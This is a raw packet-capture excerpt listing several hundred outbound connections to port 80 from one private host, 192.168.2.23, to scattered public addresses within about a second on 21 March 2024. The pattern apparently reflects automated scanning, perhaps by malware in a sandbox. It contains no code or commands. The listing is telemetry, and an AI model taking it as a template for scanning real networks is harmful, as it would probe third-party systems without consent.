Mar 21, 2024 05:16:52.877664089 CET	29283	80	192.168.2.23	95.176.135.101
Mar 21, 2024 05:16:52.877686024 CET	29283	80	192.168.2.23	95.171.191.104
Mar 21, 2024 05:16:52.877687931 CET	29283	80	192.168.2.23	95.25.126.87
Mar 21, 2024 05:16:52.877701998 CET	29283	80	192.168.2.23	95.63.43.26
Mar 21, 2024 05:16:52.877723932 CET	29283	80	192.168.2.23	95.74.18.138
Mar 21, 2024 05:16:52.877738953 CET	29283	80	192.168.2.23	95.77.49.252
Mar 21, 2024 05:16:52.877757072 CET	29283	80	192.168.2.23	95.246.74.241
Mar 21, 2024 05:16:52.877818108 CET	29283	80	192.168.2.23	95.156.208.123
Mar 21, 2024 05:16:52.877819061 CET	29283	80	192.168.2.23	95.40.238.87
Mar 21, 2024 05:16:52.877820969 CET	29283	80	192.168.2.23	95.180.226.125
Mar 21, 2024 05:16:52.877829075 CET	29283	80	192.168.2.23	95.246.100.63
Mar 21, 2024 05:16:52.877882957 CET	29283	80	192.168.2.23	95.151.114.111
Mar 21, 2024 05:16:52.893647909 CET	19039	80	192.168.2.23	178.76.216.50
Mar 21, 2024 05:16:52.893729925 CET	19039	80	192.168.2.23	200.90.230.184
Mar 21, 2024 05:16:52.893748999 CET	19039	80	192.168.2.23	181.33.154.62
Mar 21, 2024 05:16:52.893825054 CET	19039	80	192.168.2.23	200.152.112.17
Mar 21, 2024 05:16:52.893825054 CET	19039	80	192.168.2.23	86.168.2.9
Mar 21, 2024 05:16:52.893826962 CET	19039	80	192.168.2.23	178.89.122.120
Mar 21, 2024 05:16:52.893831968 CET	19039	80	192.168.2.23	80.24.61.69
Mar 21, 2024 05:16:52.893834114 CET	19039	80	192.168.2.23	86.60.230.62
Mar 21, 2024 05:16:52.893834114 CET	19039	80	192.168.2.23	206.137.50.92
Mar 21, 2024 05:16:52.893834114 CET	19039	80	192.168.2.23	83.123.1.63
Mar 21, 2024 05:16:52.893834114 CET	19039	80	192.168.2.23	181.111.85.66
Mar 21, 2024 05:16:52.893841982 CET	19039	80	192.168.2.23	206.150.215.172
Mar 21, 2024 05:16:52.893843889 CET	19039	80	192.168.2.23	178.37.163.101
Mar 21, 2024 05:16:52.893843889 CET	19039	80	192.168.2.23	83.196.222.134
Mar 21, 2024 05:16:52.893843889 CET	19039	80	192.168.2.23	169.47.234.136
Mar 21, 2024 05:16:52.893863916 CET	19039	80	192.168.2.23	169.241.212.250
Mar 21, 2024 05:16:52.893865108 CET	19039	80	192.168.2.23	200.44.246.84
Mar 21, 2024 05:16:52.893872976 CET	19039	80	192.168.2.23	200.155.58.187
Mar 21, 2024 05:16:52.893872976 CET	19039	80	192.168.2.23	86.164.42.87
Mar 21, 2024 05:16:52.893872976 CET	19039	80	192.168.2.23	200.50.124.120
Mar 21, 2024 05:16:52.893884897 CET	19039	80	192.168.2.23	80.128.72.215
Mar 21, 2024 05:16:52.893898964 CET	19039	80	192.168.2.23	82.172.56.18
Mar 21, 2024 05:16:52.893990993 CET	19039	80	192.168.2.23	181.209.151.78
Mar 21, 2024 05:16:52.894002914 CET	19039	80	192.168.2.23	206.223.194.211
Mar 21, 2024 05:16:52.894002914 CET	19039	80	192.168.2.23	206.167.16.12
Mar 21, 2024 05:16:52.894009113 CET	19039	80	192.168.2.23	181.110.132.251
Mar 21, 2024 05:16:52.894009113 CET	19039	80	192.168.2.23	86.33.160.14
Mar 21, 2024 05:16:52.894009113 CET	19039	80	192.168.2.23	206.205.47.97
Mar 21, 2024 05:16:52.894010067 CET	19039	80	192.168.2.23	178.80.212.216
Mar 21, 2024 05:16:52.894009113 CET	19039	80	192.168.2.23	80.36.194.221
Mar 21, 2024 05:16:52.894011974 CET	19039	80	192.168.2.23	86.250.31.99
Mar 21, 2024 05:16:52.894009113 CET	19039	80	192.168.2.23	181.241.242.220
Mar 21, 2024 05:16:52.894009113 CET	19039	80	192.168.2.23	200.42.54.102
Mar 21, 2024 05:16:52.894009113 CET	19039	80	192.168.2.23	86.253.61.28
Mar 21, 2024 05:16:52.894009113 CET	19039	80	192.168.2.23	206.149.32.169
Mar 21, 2024 05:16:52.894021988 CET	19039	80	192.168.2.23	86.243.125.52
Mar 21, 2024 05:16:52.894021988 CET	19039	80	192.168.2.23	80.127.64.139
Mar 21, 2024 05:16:52.894021988 CET	19039	80	192.168.2.23	178.32.38.194
Mar 21, 2024 05:16:52.894022942 CET	19039	80	192.168.2.23	181.206.138.74
Mar 21, 2024 05:16:52.894030094 CET	19039	80	192.168.2.23	86.109.132.147
Mar 21, 2024 05:16:52.894030094 CET	19039	80	192.168.2.23	206.69.168.124
Mar 21, 2024 05:16:52.894036055 CET	19039	80	192.168.2.23	82.86.233.195
Mar 21, 2024 05:16:52.894036055 CET	19039	80	192.168.2.23	169.39.206.59
Mar 21, 2024 05:16:52.894037008 CET	19039	80	192.168.2.23	83.136.212.49
Mar 21, 2024 05:16:52.894037008 CET	19039	80	192.168.2.23	213.188.140.122
Mar 21, 2024 05:16:52.894037008 CET	19039	80	192.168.2.23	213.113.79.167
Mar 21, 2024 05:16:52.894037008 CET	19039	80	192.168.2.23	200.91.35.249
Mar 21, 2024 05:16:52.894037962 CET	19039	80	192.168.2.23	80.115.210.171
Mar 21, 2024 05:16:52.894040108 CET	19039	80	192.168.2.23	82.102.200.36
Mar 21, 2024 05:16:52.894040108 CET	19039	80	192.168.2.23	178.94.93.212
Mar 21, 2024 05:16:52.894040108 CET	19039	80	192.168.2.23	83.214.194.183
Mar 21, 2024 05:16:52.894047022 CET	19039	80	192.168.2.23	169.237.20.191
Mar 21, 2024 05:16:52.894049883 CET	19039	80	192.168.2.23	86.217.208.43
Mar 21, 2024 05:16:52.894049883 CET	19039	80	192.168.2.23	169.140.148.163
Mar 21, 2024 05:16:52.894049883 CET	19039	80	192.168.2.23	178.220.99.137
Mar 21, 2024 05:16:52.894052982 CET	19039	80	192.168.2.23	83.108.38.77
Mar 21, 2024 05:16:52.894058943 CET	19039	80	192.168.2.23	83.37.207.240
Mar 21, 2024 05:16:52.894062996 CET	19039	80	192.168.2.23	80.212.55.62
Mar 21, 2024 05:16:52.894062996 CET	19039	80	192.168.2.23	200.133.3.92
Mar 21, 2024 05:16:52.894062996 CET	19039	80	192.168.2.23	178.113.129.178
Mar 21, 2024 05:16:52.894062996 CET	19039	80	192.168.2.23	169.192.177.159
Mar 21, 2024 05:16:52.894062996 CET	19039	80	192.168.2.23	200.132.197.151
Mar 21, 2024 05:16:52.894068956 CET	19039	80	192.168.2.23	213.5.85.101
Mar 21, 2024 05:16:52.894104004 CET	19039	80	192.168.2.23	181.247.28.48
Mar 21, 2024 05:16:52.894191980 CET	19039	80	192.168.2.23	200.48.163.226
Mar 21, 2024 05:16:52.894195080 CET	19039	80	192.168.2.23	83.119.218.20
Mar 21, 2024 05:16:52.894207954 CET	19039	80	192.168.2.23	178.168.17.9
Mar 21, 2024 05:16:52.894212008 CET	19039	80	192.168.2.23	200.88.11.121
Mar 21, 2024 05:16:52.894212961 CET	19039	80	192.168.2.23	206.50.233.59
Mar 21, 2024 05:16:52.894212961 CET	19039	80	192.168.2.23	213.140.174.149
Mar 21, 2024 05:16:52.894263029 CET	19039	80	192.168.2.23	181.75.227.17
Mar 21, 2024 05:16:52.894263029 CET	19039	80	192.168.2.23	83.245.76.145
Mar 21, 2024 05:16:52.894273043 CET	19039	80	192.168.2.23	86.67.42.206
Mar 21, 2024 05:16:52.894273043 CET	19039	80	192.168.2.23	200.229.128.22
Mar 21, 2024 05:16:52.894273043 CET	19039	80	192.168.2.23	213.57.106.220
Mar 21, 2024 05:16:52.894273043 CET	19039	80	192.168.2.23	86.234.112.141
Mar 21, 2024 05:16:52.894274950 CET	19039	80	192.168.2.23	213.55.190.24
Mar 21, 2024 05:16:52.894274950 CET	19039	80	192.168.2.23	169.196.117.255
Mar 21, 2024 05:16:52.894274950 CET	19039	80	192.168.2.23	82.213.63.197
Mar 21, 2024 05:16:52.894274950 CET	19039	80	192.168.2.23	82.221.235.209
Mar 21, 2024 05:16:52.894278049 CET	19039	80	192.168.2.23	181.26.213.44
Mar 21, 2024 05:16:52.894278049 CET	19039	80	192.168.2.23	213.144.251.169
Mar 21, 2024 05:16:52.894278049 CET	19039	80	192.168.2.23	206.88.131.217
Mar 21, 2024 05:16:52.894283056 CET	19039	80	192.168.2.23	83.93.159.99
Mar 21, 2024 05:16:52.894301891 CET	19039	80	192.168.2.23	82.167.191.125
Mar 21, 2024 05:16:52.894301891 CET	19039	80	192.168.2.23	80.242.246.242
Mar 21, 2024 05:16:52.894308090 CET	19039	80	192.168.2.23	200.110.33.254
Mar 21, 2024 05:16:52.894308090 CET	19039	80	192.168.2.23	213.206.102.157
Mar 21, 2024 05:16:52.894308090 CET	19039	80	192.168.2.23	213.18.1.160
Mar 21, 2024 05:16:52.894309044 CET	19039	80	192.168.2.23	206.28.36.211
Mar 21, 2024 05:16:52.894309044 CET	19039	80	192.168.2.23	82.124.124.157
Mar 21, 2024 05:16:52.894311905 CET	19039	80	192.168.2.23	169.66.199.146
Mar 21, 2024 05:16:52.894311905 CET	19039	80	192.168.2.23	200.129.136.189
Mar 21, 2024 05:16:52.894314051 CET	19039	80	192.168.2.23	178.242.100.208
Mar 21, 2024 05:16:52.894315004 CET	19039	80	192.168.2.23	181.137.193.135
Mar 21, 2024 05:16:52.894316912 CET	19039	80	192.168.2.23	200.54.39.212
Mar 21, 2024 05:16:52.894325018 CET	19039	80	192.168.2.23	178.107.55.173
Mar 21, 2024 05:16:52.894325972 CET	19039	80	192.168.2.23	181.13.123.250
Mar 21, 2024 05:16:52.894328117 CET	19039	80	192.168.2.23	86.44.55.159
Mar 21, 2024 05:16:52.894339085 CET	19039	80	192.168.2.23	200.106.14.174
Mar 21, 2024 05:16:52.894339085 CET	19039	80	192.168.2.23	86.90.52.52
Mar 21, 2024 05:16:52.894340992 CET	19039	80	192.168.2.23	169.180.191.205
Mar 21, 2024 05:16:52.894340992 CET	19039	80	192.168.2.23	206.242.47.140
Mar 21, 2024 05:16:52.894340992 CET	19039	80	192.168.2.23	206.86.244.170
Mar 21, 2024 05:16:52.894341946 CET	19039	80	192.168.2.23	83.73.226.57
Mar 21, 2024 05:16:52.894340992 CET	19039	80	192.168.2.23	80.229.116.52
Mar 21, 2024 05:16:52.894340992 CET	19039	80	192.168.2.23	213.135.70.43
Mar 21, 2024 05:16:52.894341946 CET	19039	80	192.168.2.23	181.109.143.6
Mar 21, 2024 05:16:52.894340992 CET	19039	80	192.168.2.23	181.144.7.199
Mar 21, 2024 05:16:52.894340992 CET	19039	80	192.168.2.23	213.238.24.200
Mar 21, 2024 05:16:52.894359112 CET	19039	80	192.168.2.23	86.44.1.153
Mar 21, 2024 05:16:52.894359112 CET	19039	80	192.168.2.23	200.56.40.40
Mar 21, 2024 05:16:52.894359112 CET	19039	80	192.168.2.23	83.235.103.34
Mar 21, 2024 05:16:52.894385099 CET	19039	80	192.168.2.23	82.228.202.200
Mar 21, 2024 05:16:52.894387007 CET	19039	80	192.168.2.23	181.212.159.184
Mar 21, 2024 05:16:52.894388914 CET	19039	80	192.168.2.23	169.204.179.159
Mar 21, 2024 05:16:52.894388914 CET	19039	80	192.168.2.23	213.98.138.79
Mar 21, 2024 05:16:52.894388914 CET	19039	80	192.168.2.23	206.77.207.14
Mar 21, 2024 05:16:52.894388914 CET	19039	80	192.168.2.23	169.153.148.47
Mar 21, 2024 05:16:52.894392967 CET	19039	80	192.168.2.23	80.206.23.225
Mar 21, 2024 05:16:52.894392967 CET	19039	80	192.168.2.23	86.13.165.180
Mar 21, 2024 05:16:52.894399881 CET	19039	80	192.168.2.23	206.65.36.102
Mar 21, 2024 05:16:52.894399881 CET	19039	80	192.168.2.23	80.15.167.126
Mar 21, 2024 05:16:52.894404888 CET	19039	80	192.168.2.23	206.251.36.10
Mar 21, 2024 05:16:52.894404888 CET	19039	80	192.168.2.23	181.145.254.90
Mar 21, 2024 05:16:52.894407034 CET	19039	80	192.168.2.23	80.185.189.148
Mar 21, 2024 05:16:52.894428015 CET	19039	80	192.168.2.23	181.168.228.146
Mar 21, 2024 05:16:52.894459963 CET	19039	80	192.168.2.23	80.225.93.160
Mar 21, 2024 05:16:52.894465923 CET	19039	80	192.168.2.23	80.207.12.242
Mar 21, 2024 05:16:52.894465923 CET	19039	80	192.168.2.23	178.212.203.210
Mar 21, 2024 05:16:52.894468069 CET	19039	80	192.168.2.23	200.179.203.196
Mar 21, 2024 05:16:52.894468069 CET	19039	80	192.168.2.23	181.122.203.159
Mar 21, 2024 05:16:52.894471884 CET	19039	80	192.168.2.23	83.99.86.102
Mar 21, 2024 05:16:52.894471884 CET	19039	80	192.168.2.23	200.217.131.83
Mar 21, 2024 05:16:52.894471884 CET	19039	80	192.168.2.23	83.67.67.249
Mar 21, 2024 05:16:52.894473076 CET	19039	80	192.168.2.23	181.227.247.80
Mar 21, 2024 05:16:52.894485950 CET	19039	80	192.168.2.23	200.196.105.164
Mar 21, 2024 05:16:52.894485950 CET	19039	80	192.168.2.23	178.73.213.213
Mar 21, 2024 05:16:52.894485950 CET	19039	80	192.168.2.23	213.207.184.32
Mar 21, 2024 05:16:52.894488096 CET	19039	80	192.168.2.23	206.98.26.184
Mar 21, 2024 05:16:52.894505024 CET	19039	80	192.168.2.23	82.18.149.30
Mar 21, 2024 05:16:52.894524097 CET	19039	80	192.168.2.23	80.57.32.118
Mar 21, 2024 05:16:52.894526005 CET	19039	80	192.168.2.23	86.82.160.29
Mar 21, 2024 05:16:52.894536018 CET	19039	80	192.168.2.23	206.134.179.60
Mar 21, 2024 05:16:52.894577026 CET	19039	80	192.168.2.23	206.18.127.224
Mar 21, 2024 05:16:52.894577026 CET	19039	80	192.168.2.23	82.235.102.118
Mar 21, 2024 05:16:52.894577026 CET	19039	80	192.168.2.23	200.49.159.182
Mar 21, 2024 05:16:52.894577026 CET	19039	80	192.168.2.23	178.5.68.26
Mar 21, 2024 05:16:52.894578934 CET	19039	80	192.168.2.23	82.121.57.226
Mar 21, 2024 05:16:52.894615889 CET	19039	80	192.168.2.23	82.6.214.115
Mar 21, 2024 05:16:52.894618988 CET	19039	80	192.168.2.23	206.21.74.56
Mar 21, 2024 05:16:52.894620895 CET	19039	80	192.168.2.23	83.85.209.91
Mar 21, 2024 05:16:52.894620895 CET	19039	80	192.168.2.23	169.162.22.66
Mar 21, 2024 05:16:52.894620895 CET	19039	80	192.168.2.23	178.78.48.200
Mar 21, 2024 05:16:52.894620895 CET	19039	80	192.168.2.23	200.190.5.67
Mar 21, 2024 05:16:52.894627094 CET	19039	80	192.168.2.23	169.182.187.1
Mar 21, 2024 05:16:52.894633055 CET	19039	80	192.168.2.23	178.83.119.137
Mar 21, 2024 05:16:52.894638062 CET	19039	80	192.168.2.23	200.30.104.84
Mar 21, 2024 05:16:52.894638062 CET	19039	80	192.168.2.23	83.14.30.147
Mar 21, 2024 05:16:52.894638062 CET	19039	80	192.168.2.23	200.74.38.198
Mar 21, 2024 05:16:52.894642115 CET	19039	80	192.168.2.23	82.157.140.165
Mar 21, 2024 05:16:52.894642115 CET	19039	80	192.168.2.23	80.91.72.160
Mar 21, 2024 05:16:52.894642115 CET	19039	80	192.168.2.23	80.124.168.253
Mar 21, 2024 05:16:52.894643068 CET	19039	80	192.168.2.23	169.245.156.37
Mar 21, 2024 05:16:52.894644022 CET	19039	80	192.168.2.23	178.1.95.226
Mar 21, 2024 05:16:52.894644022 CET	19039	80	192.168.2.23	83.196.211.22
Mar 21, 2024 05:16:52.894644022 CET	19039	80	192.168.2.23	213.48.6.91
Mar 21, 2024 05:16:52.894644022 CET	19039	80	192.168.2.23	169.134.212.5
Mar 21, 2024 05:16:52.894644022 CET	19039	80	192.168.2.23	213.5.247.122
Mar 21, 2024 05:16:52.894644976 CET	19039	80	192.168.2.23	80.221.31.225
Mar 21, 2024 05:16:52.894646883 CET	19039	80	192.168.2.23	213.211.59.86
Mar 21, 2024 05:16:52.894648075 CET	19039	80	192.168.2.23	80.180.56.55
Mar 21, 2024 05:16:52.894659996 CET	19039	80	192.168.2.23	83.102.76.41
Mar 21, 2024 05:16:52.894659996 CET	19039	80	192.168.2.23	83.254.217.182
Mar 21, 2024 05:16:52.894665956 CET	19039	80	192.168.2.23	206.251.1.82
Mar 21, 2024 05:16:52.894665956 CET	19039	80	192.168.2.23	181.228.165.90
Mar 21, 2024 05:16:52.894665956 CET	19039	80	192.168.2.23	181.78.241.238
Mar 21, 2024 05:16:52.894666910 CET	19039	80	192.168.2.23	213.46.155.20
Mar 21, 2024 05:16:52.894666910 CET	19039	80	192.168.2.23	86.118.253.152
Mar 21, 2024 05:16:52.894666910 CET	19039	80	192.168.2.23	80.215.198.222
Mar 21, 2024 05:16:52.894668102 CET	19039	80	192.168.2.23	213.23.9.0
Mar 21, 2024 05:16:52.894668102 CET	19039	80	192.168.2.23	181.124.232.21
Mar 21, 2024 05:16:52.894666910 CET	19039	80	192.168.2.23	82.21.238.164
Mar 21, 2024 05:16:52.894668102 CET	19039	80	192.168.2.23	206.195.235.106
Mar 21, 2024 05:16:52.894679070 CET	19039	80	192.168.2.23	213.70.69.9
Mar 21, 2024 05:16:52.894702911 CET	19039	80	192.168.2.23	82.41.214.34
Mar 21, 2024 05:16:52.894704103 CET	19039	80	192.168.2.23	181.38.104.125
Mar 21, 2024 05:16:52.894707918 CET	19039	80	192.168.2.23	80.142.209.210
Mar 21, 2024 05:16:52.894752979 CET	19039	80	192.168.2.23	82.25.140.211
Mar 21, 2024 05:16:52.894754887 CET	19039	80	192.168.2.23	82.124.148.240
Mar 21, 2024 05:16:52.894756079 CET	19039	80	192.168.2.23	200.53.40.96
Mar 21, 2024 05:16:52.894754887 CET	19039	80	192.168.2.23	169.53.27.15
Mar 21, 2024 05:16:52.894757986 CET	19039	80	192.168.2.23	200.83.10.101
Mar 21, 2024 05:16:52.894779921 CET	19039	80	192.168.2.23	178.65.29.252
Mar 21, 2024 05:16:52.894779921 CET	19039	80	192.168.2.23	80.80.118.111
Mar 21, 2024 05:16:52.894779921 CET	19039	80	192.168.2.23	206.71.27.199
Mar 21, 2024 05:16:52.894787073 CET	19039	80	192.168.2.23	178.5.160.80
Mar 21, 2024 05:16:52.894787073 CET	19039	80	192.168.2.23	82.15.157.56
Mar 21, 2024 05:16:52.894787073 CET	19039	80	192.168.2.23	213.48.35.244
Mar 21, 2024 05:16:52.894788027 CET	19039	80	192.168.2.23	82.11.107.237
Mar 21, 2024 05:16:52.894788027 CET	19039	80	192.168.2.23	213.30.235.206
Mar 21, 2024 05:16:52.894790888 CET	19039	80	192.168.2.23	83.240.176.243
Mar 21, 2024 05:16:52.894790888 CET	19039	80	192.168.2.23	181.31.52.193
Mar 21, 2024 05:16:52.894790888 CET	19039	80	192.168.2.23	178.132.213.115
Mar 21, 2024 05:16:52.894793987 CET	19039	80	192.168.2.23	206.76.31.199
Mar 21, 2024 05:16:52.894793987 CET	19039	80	192.168.2.23	200.186.141.80
Mar 21, 2024 05:16:52.894804001 CET	19039	80	192.168.2.23	82.48.151.174
Mar 21, 2024 05:16:52.894804001 CET	19039	80	192.168.2.23	82.33.18.117
Mar 21, 2024 05:16:52.894804001 CET	19039	80	192.168.2.23	178.188.215.60
Mar 21, 2024 05:16:52.894808054 CET	19039	80	192.168.2.23	178.208.62.143
Mar 21, 2024 05:16:52.894808054 CET	19039	80	192.168.2.23	178.177.31.86
Mar 21, 2024 05:16:52.894808054 CET	19039	80	192.168.2.23	206.30.61.81
Mar 21, 2024 05:16:52.894812107 CET	19039	80	192.168.2.23	181.67.245.164
Mar 21, 2024 05:16:52.894813061 CET	19039	80	192.168.2.23	181.253.155.156
Mar 21, 2024 05:16:52.894813061 CET	19039	80	192.168.2.23	178.204.142.2
Mar 21, 2024 05:16:52.894813061 CET	19039	80	192.168.2.23	83.252.128.34
Mar 21, 2024 05:16:52.894819021 CET	19039	80	192.168.2.23	213.152.251.135
Mar 21, 2024 05:16:52.894819975 CET	19039	80	192.168.2.23	86.165.168.199
Mar 21, 2024 05:16:52.894819975 CET	19039	80	192.168.2.23	83.28.131.85
Mar 21, 2024 05:16:52.894820929 CET	19039	80	192.168.2.23	169.191.59.228
Mar 21, 2024 05:16:52.894820929 CET	19039	80	192.168.2.23	213.203.162.189
Mar 21, 2024 05:16:52.894824028 CET	19039	80	192.168.2.23	82.164.68.189
Mar 21, 2024 05:16:52.894824028 CET	19039	80	192.168.2.23	206.25.173.234
Mar 21, 2024 05:16:52.894829988 CET	19039	80	192.168.2.23	213.208.101.70
Mar 21, 2024 05:16:52.894845963 CET	19039	80	192.168.2.23	206.226.216.71
Mar 21, 2024 05:16:52.894846916 CET	19039	80	192.168.2.23	200.134.130.19
Mar 21, 2024 05:16:52.894876003 CET	19039	80	192.168.2.23	83.162.249.155
Mar 21, 2024 05:16:52.894876003 CET	19039	80	192.168.2.23	82.95.131.71
Mar 21, 2024 05:16:52.894876003 CET	19039	80	192.168.2.23	169.128.107.66
Mar 21, 2024 05:16:52.894876003 CET	19039	80	192.168.2.23	169.104.91.74
Mar 21, 2024 05:16:52.894876003 CET	19039	80	192.168.2.23	206.71.233.126
Mar 21, 2024 05:16:52.894885063 CET	19039	80	192.168.2.23	86.6.29.76
Mar 21, 2024 05:16:52.894885063 CET	19039	80	192.168.2.23	86.255.182.84
Mar 21, 2024 05:16:52.894896984 CET	19039	80	192.168.2.23	82.28.71.109
Mar 21, 2024 05:16:52.894901037 CET	19039	80	192.168.2.23	213.39.84.108
Mar 21, 2024 05:16:52.894901037 CET	19039	80	192.168.2.23	206.95.140.179
Mar 21, 2024 05:16:52.894902945 CET	19039	80	192.168.2.23	169.225.216.166
Mar 21, 2024 05:16:52.894902945 CET	19039	80	192.168.2.23	181.185.68.192
Mar 21, 2024 05:16:52.894902945 CET	19039	80	192.168.2.23	83.86.60.123
Mar 21, 2024 05:16:52.894903898 CET	19039	80	192.168.2.23	82.40.73.10
Mar 21, 2024 05:16:52.894903898 CET	19039	80	192.168.2.23	200.220.35.110
Mar 21, 2024 05:16:52.894906044 CET	19039	80	192.168.2.23	80.129.248.240
Mar 21, 2024 05:16:52.894906998 CET	19039	80	192.168.2.23	83.204.194.110
Mar 21, 2024 05:16:52.894902945 CET	19039	80	192.168.2.23	178.139.140.118
Mar 21, 2024 05:16:52.894906998 CET	19039	80	192.168.2.23	181.26.200.55
Mar 21, 2024 05:16:52.894906998 CET	19039	80	192.168.2.23	169.56.57.19
Mar 21, 2024 05:16:52.894906998 CET	19039	80	192.168.2.23	86.254.7.156
Mar 21, 2024 05:16:52.894913912 CET	19039	80	192.168.2.23	213.47.130.212
Mar 21, 2024 05:16:52.894913912 CET	19039	80	192.168.2.23	82.242.107.45
Mar 21, 2024 05:16:52.894917965 CET	19039	80	192.168.2.23	80.115.105.220
Mar 21, 2024 05:16:52.894915104 CET	19039	80	192.168.2.23	86.22.50.46
Mar 21, 2024 05:16:52.894915104 CET	19039	80	192.168.2.23	80.211.223.172
Mar 21, 2024 05:16:52.894915104 CET	19039	80	192.168.2.23	82.129.242.147
Mar 21, 2024 05:16:52.894915104 CET	19039	80	192.168.2.23	80.70.203.247
Mar 21, 2024 05:16:52.894915104 CET	19039	80	192.168.2.23	169.17.109.103
Mar 21, 2024 05:16:52.894915104 CET	19039	80	192.168.2.23	83.34.213.186
Mar 21, 2024 05:16:52.894915104 CET	19039	80	192.168.2.23	213.163.46.234
Mar 21, 2024 05:16:52.894928932 CET	19039	80	192.168.2.23	200.96.32.103
Mar 21, 2024 05:16:52.894931078 CET	19039	80	192.168.2.23	169.179.122.96
Mar 21, 2024 05:16:52.894931078 CET	19039	80	192.168.2.23	200.113.172.212
Mar 21, 2024 05:16:52.894936085 CET	19039	80	192.168.2.23	86.66.90.97
Mar 21, 2024 05:16:52.894936085 CET	19039	80	192.168.2.23	82.88.154.122
Mar 21, 2024 05:16:52.894937038 CET	19039	80	192.168.2.23	83.191.73.33
Mar 21, 2024 05:16:52.894948959 CET	19039	80	192.168.2.23	200.207.103.157
Mar 21, 2024 05:16:52.894951105 CET	19039	80	192.168.2.23	86.233.217.213
Mar 21, 2024 05:16:52.894958973 CET	19039	80	192.168.2.23	82.121.20.50
Mar 21, 2024 05:16:52.894965887 CET	19039	80	192.168.2.23	213.91.98.154
Mar 21, 2024 05:16:52.894977093 CET	19039	80	192.168.2.23	181.213.204.242
Mar 21, 2024 05:16:52.894980907 CET	19039	80	192.168.2.23	86.198.193.189
Mar 21, 2024 05:16:52.894992113 CET	19039	80	192.168.2.23	169.234.170.76
Mar 21, 2024 05:16:52.894994974 CET	19039	80	192.168.2.23	213.60.248.82
Mar 21, 2024 05:16:52.895004034 CET	19039	80	192.168.2.23	200.105.67.127
Mar 21, 2024 05:16:52.895005941 CET	19039	80	192.168.2.23	86.131.162.211
Mar 21, 2024 05:16:52.895011902 CET	19039	80	192.168.2.23	206.214.110.14
Mar 21, 2024 05:16:52.895025969 CET	19039	80	192.168.2.23	206.102.122.95
Mar 21, 2024 05:16:52.895034075 CET	19039	80	192.168.2.23	169.67.163.141
Mar 21, 2024 05:16:52.895035982 CET	19039	80	192.168.2.23	82.45.182.168
Mar 21, 2024 05:16:52.895035982 CET	19039	80	192.168.2.23	80.50.172.203
Mar 21, 2024 05:16:52.895051956 CET	19039	80	192.168.2.23	80.126.146.144
Mar 21, 2024 05:16:52.895056009 CET	19039	80	192.168.2.23	178.156.61.71
Mar 21, 2024 05:16:52.895056009 CET	19039	80	192.168.2.23	80.59.151.16
Mar 21, 2024 05:16:52.895065069 CET	19039	80	192.168.2.23	169.64.54.229
Mar 21, 2024 05:16:52.895073891 CET	19039	80	192.168.2.23	213.213.63.223
Mar 21, 2024 05:16:52.895076990 CET	19039	80	192.168.2.23	178.234.46.215
Mar 21, 2024 05:16:52.895076990 CET	19039	80	192.168.2.23	169.75.205.202
Mar 21, 2024 05:16:52.895076990 CET	19039	80	192.168.2.23	178.21.7.44
Mar 21, 2024 05:16:52.895078897 CET	19039	80	192.168.2.23	206.107.48.77
Mar 21, 2024 05:16:52.895092964 CET	19039	80	192.168.2.23	80.4.19.43
Mar 21, 2024 05:16:52.895096064 CET	19039	80	192.168.2.23	206.249.165.143
Mar 21, 2024 05:16:52.895103931 CET	19039	80	192.168.2.23	200.66.109.24
Mar 21, 2024 05:16:52.895114899 CET	19039	80	192.168.2.23	206.99.66.43
Mar 21, 2024 05:16:52.895117044 CET	19039	80	192.168.2.23	178.190.142.55
Mar 21, 2024 05:16:52.895117998 CET	19039	80	192.168.2.23	178.78.236.179
Mar 21, 2024 05:16:52.895148993 CET	19039	80	192.168.2.23	82.213.225.220
Mar 21, 2024 05:16:52.895159006 CET	19039	80	192.168.2.23	169.118.234.211
Mar 21, 2024 05:16:52.895159006 CET	19039	80	192.168.2.23	83.52.169.103
Mar 21, 2024 05:16:52.895168066 CET	19039	80	192.168.2.23	200.193.203.245
Mar 21, 2024 05:16:52.895175934 CET	19039	80	192.168.2.23	169.57.241.131
Mar 21, 2024 05:16:52.895179033 CET	19039	80	192.168.2.23	200.50.205.214
Mar 21, 2024 05:16:52.895179033 CET	19039	80	192.168.2.23	213.65.16.165
Mar 21, 2024 05:16:52.895181894 CET	19039	80	192.168.2.23	169.5.42.78
Mar 21, 2024 05:16:52.895193100 CET	19039	80	192.168.2.23	213.123.161.199
Mar 21, 2024 05:16:52.895198107 CET	19039	80	192.168.2.23	200.167.32.14
Mar 21, 2024 05:16:52.895201921 CET	19039	80	192.168.2.23	86.16.13.158
Mar 21, 2024 05:16:52.895201921 CET	19039	80	192.168.2.23	200.236.109.209
Mar 21, 2024 05:16:52.895209074 CET	19039	80	192.168.2.23	181.197.157.254
Mar 21, 2024 05:16:52.895209074 CET	19039	80	192.168.2.23	83.171.253.22
Mar 21, 2024 05:16:52.895226955 CET	19039	80	192.168.2.23	200.118.199.157
Mar 21, 2024 05:16:52.895241022 CET	19039	80	192.168.2.23	206.143.178.150
Mar 21, 2024 05:16:52.895250082 CET	19039	80	192.168.2.23	82.156.39.184
Mar 21, 2024 05:16:52.895250082 CET	19039	80	192.168.2.23	181.145.112.7
Mar 21, 2024 05:16:52.895258904 CET	19039	80	192.168.2.23	86.66.158.31
Mar 21, 2024 05:16:52.895273924 CET	19039	80	192.168.2.23	82.119.122.113
Mar 21, 2024 05:16:52.895283937 CET	19039	80	192.168.2.23	86.2.32.224
Mar 21, 2024 05:16:52.895294905 CET	19039	80	192.168.2.23	206.169.66.86
Mar 21, 2024 05:16:52.895294905 CET	19039	80	192.168.2.23	206.43.125.180
Mar 21, 2024 05:16:52.895311117 CET	19039	80	192.168.2.23	169.142.38.31
Mar 21, 2024 05:16:52.895312071 CET	19039	80	192.168.2.23	86.244.243.207
Mar 21, 2024 05:16:52.895314932 CET	19039	80	192.168.2.23	181.120.52.8
Mar 21, 2024 05:16:52.895315886 CET	19039	80	192.168.2.23	200.111.184.226
Mar 21, 2024 05:16:52.895323038 CET	19039	80	192.168.2.23	200.181.32.71
Mar 21, 2024 05:16:52.895334959 CET	19039	80	192.168.2.23	80.202.127.142
Mar 21, 2024 05:16:52.895334959 CET	19039	80	192.168.2.23	178.215.217.209
Mar 21, 2024 05:16:52.895344973 CET	19039	80	192.168.2.23	86.184.87.156
Mar 21, 2024 05:16:52.895345926 CET	19039	80	192.168.2.23	80.191.48.170
Mar 21, 2024 05:16:52.895359993 CET	19039	80	192.168.2.23	83.142.98.60
Mar 21, 2024 05:16:52.895375967 CET	19039	80	192.168.2.23	206.121.51.121
Mar 21, 2024 05:16:52.895375967 CET	19039	80	192.168.2.23	206.74.15.123
